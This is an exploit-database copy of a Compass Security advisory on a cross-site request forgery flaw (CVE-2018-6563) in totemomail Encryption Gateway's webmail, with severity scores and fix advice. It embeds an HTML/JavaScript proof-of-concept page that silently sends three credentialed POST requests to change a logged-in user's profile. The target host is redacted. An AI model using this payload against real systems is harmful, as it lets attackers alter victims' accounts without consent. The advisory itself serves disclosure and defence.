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Compass SecurityEDB-ID:44631HistoryMay 16, 2018 - 12:00 a.m.
totemomail Encryption Gateway 6.0.0 Build 371 - Cross-Site Request Forgery
2018-05-1600:00:00
Compass Security
www.exploit-db.com
43
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
0.02 Low
EPSS
Percentile
88.9%
<!--
################################################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
################################################################################
#
# Product: totemomail Encryption Gateway
# Vendor: totemo AG
# CSNC ID: CSNC-2018-003
# CVE ID: CVE-2018-6563
# Subject: Cross-Site Request Forgery
# Risk: High
# Effect: Remotely exploitable
# Author: Nicolas Heiniger <[email protected]>
# Date: 14.05.2018
#
################################################################################
Introduction:
-------------
The totemomail Encryption Gateway protects email communication with any external
partner by encryption. It doesn't matter whether you exchange emails with
technically savvy communication partners or with those who have neither an
appropriate infrastructure nor the necessary know-how. The encryption gateway
also makes it easy to securely send very large attachments.[1]
Compass Security discovered a vulnerability in the webmail part of the
solution. It is possible to predict all parameters that are required to
execute actions on the webmail interface. This allows an attacker to perform
Cross-Site Request Forgery (CSRF) attacks. The attacker needs to craft a malicious web
page that will automatically send a request to the Encryption Gateway. If the
user is logged in, the request will be executed by the Encryption Gateway on
behalf of the logged in user. This could be used to change a user's settings, send emails or
change contact informations.
Affected:
---------
Vulnerable:
* 6.0.0_Build_371
No other version was tested but is is likely that older versions are affected as
well.
Technical Description
---------------------
In the webmail, no anti-CSRF token is used. Although the viewState makes the
attack more complex, it is possible to entirely predict the requests and thus,
perform CSRF attacks. The requirement here is to perform the attack as a replay of a full
user interaction. One has to replay every request to make sure that the viewState is
updated on the server side and corresponds to the action that is performed by
the malicious page.
Such a malicious page is presented below, it will automatically send 3 requests
that will change the user's detail:
==========
-->
<html>
<body>
<script>
function submitRequest1()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/webmail\/newMessage.xhtml", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "tabNavigationForm_SUBMIT=1&javax.faces.ViewState=An36[CUT BY COMPASS]XBJn&tabNavigationForm_j_id_24_j_id_26=tabNavigationForm$
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
function submitRequest2()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);
xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "javax.faces.partial.ajax=true&javax.faces.source=preferencesForm_phoneNumber_input_text&javax.faces.partial.execute=preferencesForm_phoneNumber_input_tex$
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
function submitRequest3()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/[CUT BY COMPASS]\/responsiveUI\/accountOverview\/preferences.xhtml", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "preferencesForm_firstname_input_text=CSRF&preferencesForm_lastname_input_text=CSRF&preferencesForm_phoneNumber_input_text=%2B41+00+000+00+00&preferencesF$
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest1();
submitRequest2();
submitRequest3();
</script>
</body>
</html>
<!--
==========
Workaround / Fix:
-----------------
Install an up to date version of totemomail Encryption Gateway.
As a developer, the requests that execute actions must include an unpredictable
element. This is usually done by using an anti-CSRF token. This token is a
random value tied to the user's session and must be verified by the server
before executing any action on behalf of the user.
Timeline:
---------
2018-05-14: Coordinated public disclosure date
2018-03-XX: Release of fixed version 6.0_b511
2018-02-13: Initial vendor response
2018-02-09: Initial vendor notification
2018-02-02: Assigned CVE-2018-6563
2018-01-11: Discovery by Nicolas Heiniger
References:
-----------
[1] https://www.totemo.com/en/solutions/email-encryption/external-encryption
-->Related
cve
cve
CVE-2018-6563
2018-06-20 14:29:00
packetstorm
packetstorm
Totemomail Encryption Gateway 6.0.0_Build_371 Cross Site Request Forgery
2018-05-15 00:00:00
cvelist
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CVE-2018-6563
2018-06-20 14:00:00
nvd
nvd
CVE-2018-6563
2018-06-20 14:29:00
prion
prion
Cross site request forgery (csrf)
2018-06-20 14:29:00
exploitpack
exploitpack
totemomail Encryption Gateway 6.0.0 Build 371 - Cross-Site Request Forgery
2018-05-16 00:00:00
zdt
zdt
6.8 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
0.02 Low
EPSS
Percentile
88.9%
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